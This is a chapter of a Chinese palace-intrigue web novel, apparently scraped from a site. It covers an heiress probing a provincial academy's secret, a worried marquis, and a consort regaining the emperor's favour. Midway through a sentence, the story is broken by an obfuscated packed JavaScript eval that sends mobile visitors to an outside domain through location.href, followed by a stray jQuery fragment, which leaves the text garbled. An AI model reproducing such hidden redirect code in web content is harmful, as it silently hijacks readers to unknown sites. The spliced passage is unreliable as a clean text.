49.多方异动
作品:《我真的不是真千金》 与韩皇后说完话,何辞盈没有在正堂附近多做停留,径自回了房。悬着的心落下了,何辞盈感觉沿路看惯了的景色也多了几分意趣。
当初芙蕖是在她眼前挣扎醒来的,单为了这她也希望芙蕖在报了仇后,能有个好结局。
溜溜达达回了院子,何辞盈远远就见碧水在院门前来回踱步。
几乎在同一瞬,碧水也发现了何辞盈,她眼睛一亮,转头看看四周,就跑过来对何辞盈说:“小姐,白桃回来了。”
今早的异常碧水也有所察觉,可看小姐淡定自若的模样,她便也没大惊小怪的,只是在何辞盈她们离开后守在院子里,直到真正的白桃带着一脸愧色回来。
进了屋,何辞盈就见白桃正坐在绣墩上绣花,她试探的唤了一声:“白桃?”
白桃立时像一根弹簧一样跳起来,她放下绣棚就说:“大小姐,奴婢昨儿回家听人说我哥哥要娶妻了,家里一高兴就喝了点酒,谁承想今儿就睡到这个时候,是奴婢的过错。”
原来是在这样把人放倒的,何辞盈给碧水一个眼神,然后笑眯眯的说:“无妨,家里有喜事,是该庆贺。”
说话间,何辞盈从她的妆匣里选了两支不扎眼的簪子,再搭上碧水从匣子里拿出的荷包一道递给白桃,“这就当我的贺礼吧。”
“多谢大小姐。”白桃接过东西,高兴的说话都磕磕绊绊的。她打从何辞盈来的第一天就在这儿伺候了,一看那荷包的样式就知道这里面装的是金银锞子,再加上簪子,这分量是真不轻。
她本来是手心里捏着一把汗的,大小姐仁善才允她回家,可她却贪饮晚了几个时辰才回来。
这会见大小姐还愿意赏她东西,心里也是送了一口气。
目送欢喜的白桃出去,碧水有些担忧的对何辞盈说:“小姐,今天这事破绽也忒明显了,这样没事吗?”
“你和白桃都是我的大丫鬟,我这院里比你们地位高的也就王妈妈,可白桃既已到我面前告了罪,她就不会再去王妈妈面前自投罗网。至于下面的小丫鬟们,白桃是不会把自己的错漏告诉她们的。”
看碧水有些似懂非懂的点点头,何辞盈示意碧水靠过来跟她小声说:“碧水,你还记得清阳书院吗?”
“当然记得,小姐的名字还是书院的方先生给起的呢。”
“是啊,院长和我们家关系很是亲厚呢。”何辞盈淡淡的说。
她和怀瑾出生的地方就在清阳书院附近。韩皇后今日来见她,并非只为了告诉她芙蕖的下落,而是为了清阳书院。
用韩皇后自己的话来说是指点她去探寻一下那地方。
连当朝皇后都知道的一个远在渔阳的小书院,这么看,忠顺侯当年出现在书院附近并非如他所说是遭逢暴雨无法脱身,而是另有所图。
他很有可能是领了皇帝的旨意去寻方先生的,只是不知什么缘由他的差事没做好,因此之后这些年忠顺侯府才会渐渐失了圣心。
看来她得多送几封信去渔阳了。
到底那位辞官的方先生有什么秘密,当年才会让皇帝如此执着。
淮安郡主来侯府的第二天,京城下了一场雪。
这雪不算大,可看着就让人觉着冷。
忠顺侯府的小厮搓搓手臂,嘴里发出嘶嘶的声音,“你们说,这府里怎么三天两头就要往渔阳送信啊?”
与他并排走着的人手里捧着一个匣子,转头惊讶的说:“这话你也问得出,你是不知道咱家大小姐在哪儿长大的?咱家二小姐又是个什么身份?”
那小厮作出恍然大悟的样子,“你的意思是。”
“这还不止呢,何家养了大小姐,二小姐也留在咱们府里,侯爷和夫人不得问候一下人家?咱们现在去侯爷那儿取了信就要并着我手里的一道送去驿站。”
这么一来,侯府这样频繁的送信去渔阳真的再自然不过了。
两个小厮走到书房时,忠顺侯正好在写信。
他将将停笔,先把毛笔挂在笔洗上,再读一遍他写下的笔墨,确保没有错处,才示意下人把信装进信封。
忠顺侯端坐在书桌后,眉宇间却有些颓唐。
皇上如今春秋鼎盛,他起初想着此时三皇子出头正好能削弱五皇子,待时机成熟再推四皇子上台。可三皇子冲的太快了,他的权势如登了云梯一样涨的飞快,而四皇子却依旧默默无闻。
这让他越发感觉不妙,三皇子越发势大,陛下再不出手平衡可就来不及了。
忠顺侯想到这,额头上直接皱出了个川字。虽说三皇子将要成为他的女婿,可他一直宣称侯府是保皇党,从未给三皇子过一丝助力。且这京城谁不知道,周怀瑾不是他的女儿,若是三皇子登基,他能有几分好?
“不行,不能这样”,忠顺侯在心里一再重复,“不能是这样的,我要的从来不是锦上添花。”
再如何说服自己,可一股失望还是从心口蔓延出来。
此时被失望笼罩的不只是他,柔妃也一样。自从皇帝离开漪兰殿,前往含章殿后,他再也没有进过后宫。
柔妃日日枯坐在院里,看着天色从明到暗,再复明。
宫人小心翼翼的上前,端着前些日子她细心照料的君子兰给她看。
“娘娘,您看,您养的花儿开了,这黄橙橙的颜色多美啊。”
柔妃木然的转头看向花,“是啊,花都开了,已经过去好几日了。”她伸手抚摸着花瓣,终于死心了。
她挥挥手让宫人下去,回房站到镜子前,观察着镜中的自己。
漪兰殿有一面满宫最大的镜子,足够照出柔妃整个身子。她从上看到下,又捏起白色的袖边,转头叫宫人把司衣坊的人喊来。
“本宫要做些新衣裳,你们找些颜色鲜亮的布出来,白色穿腻了。”
下一次请安的时候,众人就发现一向爱穿白色的柔妃,今儿破天荒穿了一身杏黄色的宫装。她不但换了衣裳,连人都好像变了,程贵妃拿着她打量来打量去都不见柔妃躲闪。
柔妃换了白色衣裳的稀奇程度几乎比得上前次皇后留柔妃说话。
这样一来,皇帝当然不负众望来了漪兰殿。
见皇帝的身影出现,柔妃欣喜万分的挽上他的手,“皇上,你快来看,咱们的小九会写字了。”
皇帝送了一口气,上次他从柔妃这儿听了皇后那大逆不道的话后,一着急直接走了,后面朝堂上的事又忙,他也没顾上安抚柔妃。
今天到了这儿才又后知后觉的想起来这件事,还好柔儿一直没变,她一向不会为这些事烦扰。
他也不是一开始就喜欢柔妃,细算起来柔妃入府只比程氏早了一年多。
当年,他与还是齐王妃的皇后感情甚笃,府里好几年只有他们的嫡子秦嘉禾一个孩子,他还给那孩子取了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657169|168088||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个小名叫小苗,希望他能像小树苗一样茁壮成长。
可惜好景不长,他的好日子没过几天,小苗就没了。
小苗一走,他就只剩老二一个儿子。先皇又是怜惜又是不满他子嗣稀薄,就赐了他几个女人,其中一个就是柔妃。
最开始他对柔妃没什么印象,只记得这人颇为胆小,就仅是例行公事的往她那儿去了几趟,没多久府里就传出了她和老三生母的喜讯。
当时他是很高兴的,他又要有两个孩子了。可自从小苗离世,王妃伤心之余,无力再管理王府事务,加之府里还有两个孕妇待产,内忧外患让他身心俱疲。
就是那时,程氏被先皇以侧妃的名义指入府,程氏一入府就拿住了府里的事务,让柔妃她们顺顺当当的生下了孩子。
他记得,应该就是老四的满月宴上,程氏宣布她有喜了。
府里的女人们都满面笑容的恭喜程氏,他便也顺水推舟的去了程氏的院子,只是走的时候,他忽然想起来,今天应该是柔妃的好日子才对。
他转头,看到身形单薄的柔妃坐在人堆里,低着头,没有发出一丝声响。
从那天起,他对柔妃就有了一分说不清道不明的愧疚,渐渐的,他开始喜欢去她那儿了。
她不像淑妃一样整日抱怨程氏威风太过。也不像程氏一样让他满心压力,更不像皇后一样让他只想逃离。
她永远在她的屋里等着他来,只要他来了,就只有欢喜。在柔妃面前,他就是天,是唯一。
他觉得自己应该是喜欢柔妃的,所以登基后,他保护着她,给她妃嫔能有的最大的体面,控制着去她宫里的次数,不让她被满宫的女人嫉恨。
都快二十年了啊,想到这,皇帝柔软了一下,看着手里小九写的大字,又想起他们的另一个儿子。
皇帝问柔妃:“轩儿只比老三小了两个月,如今老三也算是有着落了,轮到咱们的孩子了,你有看中的姑娘吗?”
柔妃手上动作一顿,“臣妾倒没有注意,臣妾一直觉得老四还小呢,如今看来,还得由您做主。”
“你呀,这么些年了,还是这样,”皇帝很有些感慨,“那我是得好好挑挑,咱们轩儿性子跳脱些,朕估摸着他怕是喜欢活泼些的姑娘。”
柔妃此时有些钻牛角尖,她心想,轩儿性子从来不跳脱,他只是想在父亲面前表现的好。
为什么要找活泼的姑娘,谁家正妻不是端庄大方的。
柔妃感觉嘴里满是苦涩,她不知道为什么,如今听着皇上的每一句话都觉得别有意味,再也回不到从前了。
“臣妾想着,夫妻之间是要投契,但也需互补啊,若轩儿选个和他一样性子的媳妇,两口子说话做事也是一个风格,那万一出错了,谁来描补呢。”
“是啊,你这说的也在理。”皇帝若有所思的说。
柔妃的动作停下了,她这半天是在给皇帝泡茶,“皇上,这是臣妾新制的茶,您尝尝味道怎么样。”
皇帝接过来抿了一口,就随手把茶盏放在桌上。这会他突然想起来今日来的初衷,便饶有兴致的问:“你怎么穿了杏黄色的衣裳,我记着你只喜欢白色啊。”
“臣妾如今也不小了,便是为了孩子们着想,也不该再任性了,有些场合白色终归不太体统。”
眉眼含笑的回了话,柔妃用尽全力控制住自己的视线,不去关注那杯茶。